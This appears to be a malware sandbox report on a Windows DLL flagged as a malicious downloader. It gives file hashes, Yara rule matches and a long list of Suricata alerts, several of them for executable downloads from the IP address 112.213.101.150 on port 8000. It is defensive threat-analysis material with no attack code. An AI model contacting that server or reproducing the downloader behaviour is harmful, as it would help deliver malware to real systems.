popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

j-21

Malicious Library Downloader PE32 DLL PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 22, 2023, 1:20 p.m. Nov. 22, 2023, 1:29 p.m.
Size 70.5KB
Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5 2c19732b70f22a5cc10d19343efe53f7
SHA256 3cafe32967cbf5295cd49da4a81b4503d02d8c3a28902e91a5e70d5541ba5258
CRC32 9EB9EA18
ssdeep 768:G407txg6CVX762AORxFGPRDEEOsx3n+79Namb3GluLrXCS32na1NzBoFsxHv5rMx:Gd7TGAgFqoQn+mmTCuL7hNzBl55rw3
Yara
  • Malicious_Library_Zero - Malicious_Library
  • IsPE32 - (no description)
  • Network_Downloader - File Downloader
  • PE_Header_Zero - PE File Signature
  • IsDLL - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
112.213.101.150 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49170 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49164 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49165 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49172 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49169 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49175 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49166 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49173 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49177 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49171 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49174 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49178 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49176 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49185 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49163 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49180 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49181 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49186 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49194 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49167 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49182 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49188 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49193 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49205 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49183 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49201 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49202 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49191 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49189 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49207 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49204 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49198 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49218 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49203 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49211 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49199 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49206 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49219 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49208 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49225 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49213 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49210 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49220 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49212 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49224 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49221 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49216 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49215 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49229 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49222 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49226 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49217 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49233 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49242 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49223 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49241 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49246 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49238 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49245 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49243 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49228 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49249 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49239 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49247 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49235 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49253 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49240 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49248 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49250 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49252 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49254 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49256 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49251 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49255 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49261 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49259 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49269 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49258 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49260 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49278 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49284 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49271 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49263 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49264 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49276 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49299 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49179 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49267 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49265 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49184 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49270 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49268 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49187 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49274 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49301 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49279 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49275 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49190 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49281 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49290 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49293 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49295 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49304 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49283 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49192 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49280 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49286 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49297 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49195 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49282 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49289 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49287 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49303 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49197 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49285 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49291 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49294 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49313 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49288 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49309 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49292 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49298 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49315 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49307 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49302 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49321 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49310 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49324 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49323 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49305 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49317 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49312 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49329 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49318 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49306 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49327 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49314 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49200 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49330 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49333 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49209 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49331 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49350 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49332 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49214 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49351 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49227 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49340 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49355 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49230 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49357 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49316 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49346 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49362 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49231 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49325 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49308 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49349 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49344 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49363 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49335 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49234 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49356 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49368 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49371 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49339 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49372 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49326 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49377 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49373 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49338 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49385 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49379 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49343 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49341 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49236 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49383 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49386 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49237 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49388 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49387 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49359 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49244 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49395 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49393 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49257 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49397 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49410 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49262 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49360 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49399 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49413 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49266 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49404 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49426 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49272 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49419 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49367 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49434 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49273 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49449 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49438 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49369 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49277 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49455 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
